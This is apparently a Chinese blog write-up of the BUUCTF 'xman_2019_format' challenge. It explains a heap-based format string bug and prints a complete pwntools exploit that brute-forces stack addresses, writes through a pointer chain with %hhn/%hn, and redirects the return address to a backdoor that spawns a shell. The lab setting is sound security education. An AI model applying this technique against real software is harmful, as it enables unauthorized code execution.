xman_2019_format(堆上格式化字符串)

0x00 前言

曾经也遇到过堆上格式化字符串漏洞类型的题目,但是咕了许久以后再次遇到这种类型的题目,捣鼓半天而且借助WP才搞出来……

特此写篇博客记录一下以加深印象。

题目在BUUCTF上可以找到.

0x01 程序分析

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

buf不在栈上,而是通过malloc申请的

1
2
buf = malloc(0x100u);
read(0, buf, 0x37u);

然后将buf作为参数,进入sub_80485C4函数内,该函数存在格式化字符串漏洞,不过只能单次利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *__cdecl sub_80485C4(char *s)
{
char *v1; // eax
char *result; // eax

puts("...");
v1 = strtok(s, "|");//相当于split(s,"|")
printf(v1);
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}

程序存在后门函数

1
2
3
4
5
6
7
8
9
10
11
12
.text:080485AB ; __unwind {
.text:080485AB push ebp
.text:080485AC mov ebp, esp
.text:080485AE sub esp, 8
.text:080485B1 sub esp, 0Ch
.text:080485B4 push offset command ; "/bin/sh"
.text:080485B9 call _system
.text:080485BE add esp, 10h
.text:080485C1 nop
.text:080485C2 leave
.text:080485C3 retn
.text:080485

0x02 重点与思路

利用格式化字符串漏洞将返回地址改为后门函数

一条重点

对于%ac$xn,其中a为个数,x是偏移,如果此处地址里面存放的依旧是个指针(地址),那么会向里面存放的指针所指向的地方写入数据。

即 A->B->C,A和B都是地址,则最后数据会写到C处。

稍作调试

在第一个printf(0x080485F6)的位置下断点,运行,然后查看栈。

可以看到这两处是可以作为跳板的

ebp位置的位于偏移0xa处,下面的位于偏移0x12处

不过即便每次运行的时候栈地址都会变动,但是偏移0x13处的最后一位总会是c,比如会是0c、1c、2c…..ec、fc。这便为我们爆破提供的条件。

确定思路

以图为例,如果我们利用那条重点对偏移0xa处进行写入

则数据会写到如图0xffe5a238处(即修改0xffe5a238为其他值)

那么如果将0xffe5a238修改为0xffe5a20c

那么偏移0x12处也便指向了0xffe5a20c

偏移0x12处将变成: 0xffe5a208 -> 0xffe5a20c -> 0x8048697的形式。(如果问为什么没有图,那是因为手残把gdb给关了…. 地址每次都是随机的,还原不回上图的值了,为了不让读者因地址变动而产生疑惑,只能用文字表示了。)

那么我们可以通过格式化字符串和那条重点对偏移0x12处进行写入,即修改0x8048697的值为后门函数地址。

因为栈地址是随机的,所以采用爆破。

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding:utf-8
from pwn import *
from LibcSearcher import *

context(arch = 'i386', os = 'linux', log_level = 'debug')

while True:
c = process('./fmt')
#c = remote('node3.buuoj.cn',26254)
elf = ELF('./fmt')

backdoor = 0x080485ab

#gdb.attach(c,'b * 0x080485F6')

c.recvuntil('...\n')
c.recvuntil('...\n')
payload = '%12c%10$hhn' #使偏移0x12处栈指向0x13偏移处(看运气,概率理论上是1/16),这里可以选12(0x0c)也可以选0x1c、0x2c...0xfc都可以,反正都要爆破的...
payload += '|%34219c%18$hn' #修改返回地址为后门函数,因为只有后两字节不同,所以是$hn。
#如果看懂了前面的重点与思路,理解payload应该是挺容易的。关键还是A->B->C,AB均为地址,数据会写到C处这条性质。
c.send(payload)

c.recvuntil('...')
c.recvuntil('...')

try:
c.sendline('echo aaaa')
c.recvuntil('aaaa',timeout = 1)
c.interactive()
except:
c.close()
continue

0x04 参考链接

语雀